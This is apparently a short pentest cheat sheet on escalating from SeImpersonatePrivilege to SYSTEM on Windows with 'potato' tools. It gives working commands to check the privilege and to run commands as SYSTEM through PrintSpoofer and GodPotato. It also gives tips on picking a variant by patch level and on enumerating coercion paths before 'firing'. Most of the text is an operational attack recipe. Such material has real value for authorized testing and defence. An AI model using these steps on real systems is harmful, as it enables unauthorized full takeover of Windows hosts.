SeImpersonate to SYSTEM with a potato technique

Web and database service accounts usually hold SeImpersonatePrivilege. The potato family coerces a privileged NTLM or local RPC authentication, captures the resulting token, and impersonates it to run as SYSTEM.

# confirm the privilege is present and enabled
whoami /priv | findstr SeImpersonate
# PrintSpoofer abuses the print spooler named pipe
PrintSpoofer.exe -i -c "cmd /c whoami"   # nt authoritysystem

Pick the variant that matches the host’s patch level and available services.

GodPotato -cmd "cmd /c whoami"   # DCOM/OXID path for modern builds

Pro note: RoguePotato and JuicyPotato target older builds; PrintSpoofer and GodPotato cover current ones. If the spooler is disabled, the DCOM OXID resolver path still works, so enumerate which coercion primitive the box actually exposes before firing.